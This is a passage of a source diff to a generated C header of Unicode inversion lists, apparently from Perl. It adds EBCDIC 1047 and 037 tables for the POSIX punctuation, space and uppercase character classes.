+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXPUNCT_invlist[] = { /* for ASCII/Latin1 */
+	335,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x21,
 	0x30,
 	0x3A,
@@ -28523,6 +143491,8 @@
 	0x966,
 	0x970,
 	0x971,
+	0x9FD,
+	0x9FE,
 	0xAF0,
 	0xAF1,
 	0xDF4,
@@ -28622,7 +143592,7 @@
 	0x2E00,
 	0x2E2F,
 	0x2E30,
-	0x2E45,
+	0x2E4A,
 	0x3001,
 	0x3004,
 	0x3008,
@@ -28767,6 +143737,12 @@
 	0x1166D,
 	0x1173C,
 	0x1173F,
+	0x11A3F,
+	0x11A47,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
 	0x11C41,
 	0x11C46,
 	0x11C70,
@@ -28789,7 +143765,727 @@
 	0x1E960
 };
 
-static const UV XPosixSpace_invlist[] = { /* for ASCII/Latin1 */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXPUNCT_invlist[] = { /* for EBCDIC 1047 */
+	343,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x51,
+	0x5A,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xB7,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE1,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x55A,
+	0x560,
+	0x589,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5F3,
+	0x5F5,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70E,
+	0x7F7,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x9FD,
+	0x9FE,
+	0xAF0,
+	0xAF1,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE5C,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF3A,
+	0xF3E,
+	0xF85,
+	0xF86,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x104A,
+	0x1050,
+	0x10FB,
+	0x10FC,
+	0x1360,
+	0x1369,
+	0x1400,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x169B,
+	0x169D,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DB,
+	0x1800,
+	0x180B,
+	0x1944,
+	0x1946,
+	0x1A1E,
+	0x1A20,
+	0x1AA0,
+	0x1AA7,
+	0x1AA8,
+	0x1AAE,
+	0x1B5A,
+	0x1B61,
+	0x1BFC,
+	0x1C00,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x2010,
+	0x2028,
+	0x2030,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x205F,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2CF9,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x2E4A,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3030,
+	0x3031,
+	0x303D,
+	0x303E,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA6F8,
+	0xA874,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA92E,
+	0xA930,
+	0xA95F,
+	0xA960,
+	0xA9C1,
+	0xA9CE,
+	0xA9DE,
+	0xA9E0,
+	0xAA5C,
+	0xAA60,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6C,
+	0xFF01,
+	0xFF04,
+	0xFF05,
+	0xFF0B,
+	0xFF0C,
+	0xFF10,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF21,
+	0xFF3B,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF66,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x1056F,
+	0x10570,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x1093F,
+	0x10940,
+	0x10A50,
+	0x10A59,
+	0x10A7F,
+	0x10A80,
+	0x10AF0,
+	0x10AF7,
+	0x10B39,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x11174,
+	0x11176,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123E,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x11450,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x114C6,
+	0x114C7,
+	0x115C1,
+	0x115D8,
+	0x11641,
+	0x11644,
+	0x11660,
+	0x1166D,
+	0x1173C,
+	0x1173F,
+	0x11A3F,
+	0x11A47,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x11C70,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3C,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8C,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXPUNCT_invlist[] = { /* for EBCDIC 037 */
+	345,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x51,
+	0x5A,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xB0,
+	0xB1,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xB7,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE1,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x55A,
+	0x560,
+	0x589,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5F3,
+	0x5F5,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70E,
+	0x7F7,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x9FD,
+	0x9FE,
+	0xAF0,
+	0xAF1,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE5C,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF3A,
+	0xF3E,
+	0xF85,
+	0xF86,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x104A,
+	0x1050,
+	0x10FB,
+	0x10FC,
+	0x1360,
+	0x1369,
+	0x1400,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x169B,
+	0x169D,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DB,
+	0x1800,
+	0x180B,
+	0x1944,
+	0x1946,
+	0x1A1E,
+	0x1A20,
+	0x1AA0,
+	0x1AA7,
+	0x1AA8,
+	0x1AAE,
+	0x1B5A,
+	0x1B61,
+	0x1BFC,
+	0x1C00,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x2010,
+	0x2028,
+	0x2030,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x205F,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2CF9,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x2E4A,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3030,
+	0x3031,
+	0x303D,
+	0x303E,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA6F8,
+	0xA874,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA92E,
+	0xA930,
+	0xA95F,
+	0xA960,
+	0xA9C1,
+	0xA9CE,
+	0xA9DE,
+	0xA9E0,
+	0xAA5C,
+	0xAA60,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6C,
+	0xFF01,
+	0xFF04,
+	0xFF05,
+	0xFF0B,
+	0xFF0C,
+	0xFF10,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF21,
+	0xFF3B,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF66,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x1056F,
+	0x10570,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x1093F,
+	0x10940,
+	0x10A50,
+	0x10A59,
+	0x10A7F,
+	0x10A80,
+	0x10AF0,
+	0x10AF7,
+	0x10B39,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x11174,
+	0x11176,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123E,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x11450,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x114C6,
+	0x114C7,
+	0x115C1,
+	0x115D8,
+	0x11641,
+	0x11644,
+	0x11660,
+	0x1166D,
+	0x1173C,
+	0x1173F,
+	0x11A3F,
+	0x11A47,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x11C70,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3C,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8C,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXSPACE_invlist[] = { /* for ASCII/Latin1 */
 	21,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
@@ -28817,7 +144513,85 @@
 	0x3001
 };
 
-static const UV XPosixUpper_invlist[] = { /* for ASCII/Latin1 */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXSPACE_invlist[] = { /* for EBCDIC 1047 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXSPACE_invlist[] = { /* for EBCDIC 037 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXUPPER_invlist[] = { /* for ASCII/Latin1 */
 	1265,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
@@ -30089,12 +145863,2606 @@
 	0x1F18A
 };
 
-static const UV XPosixWord_invlist[] = { /* for ASCII/Latin1 */
-	1361,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXUPPER_invlist[] = { /* for EBCDIC 1047 */
+	1283,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C7,
+	0x1C8,
+	0x1CA,
+	0x1CB,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
